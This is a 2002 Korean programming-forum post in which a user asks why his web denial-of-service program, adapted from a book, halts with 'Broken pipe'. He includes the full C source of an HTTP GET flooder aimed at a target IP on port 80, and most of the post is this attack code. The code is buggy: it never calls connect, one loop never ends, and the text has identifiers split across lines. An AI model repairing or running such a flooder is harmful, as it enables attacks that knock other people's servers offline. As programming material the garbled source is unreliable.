>> Delete No. 38948 article
No. [소스질문]WEB D.O.S 공격소스를 짜고 실행중...

등록 2002-01-06 19:05:00 By localhost     조회 1
이름 shadow    

		포트 80번으로 GET /index.html을
100000만번 호출하게 했습니다.
소켓으로 연결하고 닫고 while루프안에 무수히 진행시켜서
소스를 짜고 컴파일 해서 실행시키는데.
실행하니.
Broken pipe 라는 문장이 뜹니다..그리고 실행은 여기서 멈추어 버립니다
대체 이게 무슨 말인지.. 궁금합니다.
답변해주세요..필요하시다면 제가 소스를 올려드리겠습니다.
책에 실린것을 변형한 소스입니다..
 -------------소스---------------------
 #include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
 #define LOPNUM 99999
 main(int argc,char *argv<>)
{
	char destination[128],webpath[128];
	char makeline[128];
	int connloop=0;
	int connect=0;
	int general_loop=0;
	int a,b,c,d;
	int sock[1000];
            int numsock=400;
	char host_dest[100];
	char enter[2];
 	struct hostent *target;
	struct sockaddr_in sock_dest;
 	enter[0]='';
	enter[1]='';
 	if(argc < 3)
	{
		fprintf(stdout,"Usage:%s <IP for attack> <webpath> 
",argv[0]);
		exit(0);
	}
	strcp
y(destination,argv[1]);
	strcpy(webpath,argv[2]);
 	if(sscanf(destination,"%d.%d.%d.%d",&a,&b,&c,&d) !=4)
	{
		target= g
ethostbyname(destination);
		if(target == NULL)
		{
		   fprintf(stdout,"Stop!.cannot resolve host %
s",destination);
 
		   exit(0);
		}
 		sprintf(host_dest,"%d.%d.%d.%d",(unsigned char)
target->h_addr_list[0][0],(unsigned char)target->h
_addr_list[0][1],
(unsigned char)target->h_addr_list[0][2],(unsigned char)target-
>h_addr_list[0][3]);
           
     
	}
	else
	{
		strncpy(host_dest,destination,99);
	}
 	fprintf(stdout," [Dos] attacking : %s",host_dest);
 	sock_
dest.sin_family = AF_INET;
	sock_dest.sin_port = htons(80);
	sock_dest.sin_addr.s_addr = inet_addr(host_dest);
 	while(c
onnloop <= LOPNUM)
	{
		while(general_loop < numsock)
		{
		sock[general_loop] = socket(AF_INET,SOCK_STREAM,0);
		if(soc
k[general_loop] < 0)
		{ 
			perror("connect");
			exit(0);	
		}
 		general_loop++;
	        }
 		strcpy(makeline,"G
ET ");
		strcat(makeline,webpath);
		strcat(makeline,enter);
 		general_loop=0;
		while(general_loop < numsock)
		{
			s
end(sock[general_loop],makeline,strlen
(makeline)*sizeof(char),0);
			general_loop++;
		}
		general_loop=0;
		while(gene
ral_loop < numsock)
		{
			close(sock[general_loop]);
		}
		connloop++;
	}
}
 --
오늘도 열심히
[관리자] 패스워드를 입력 하십시오. 답장이 존재하면 함께 삭제됩니다.[ 목록 | 이전 ]
패스워드:    

Copyleft 1999-2026 by JSBoard Open Project
Theme Designed by IDOO All right reserved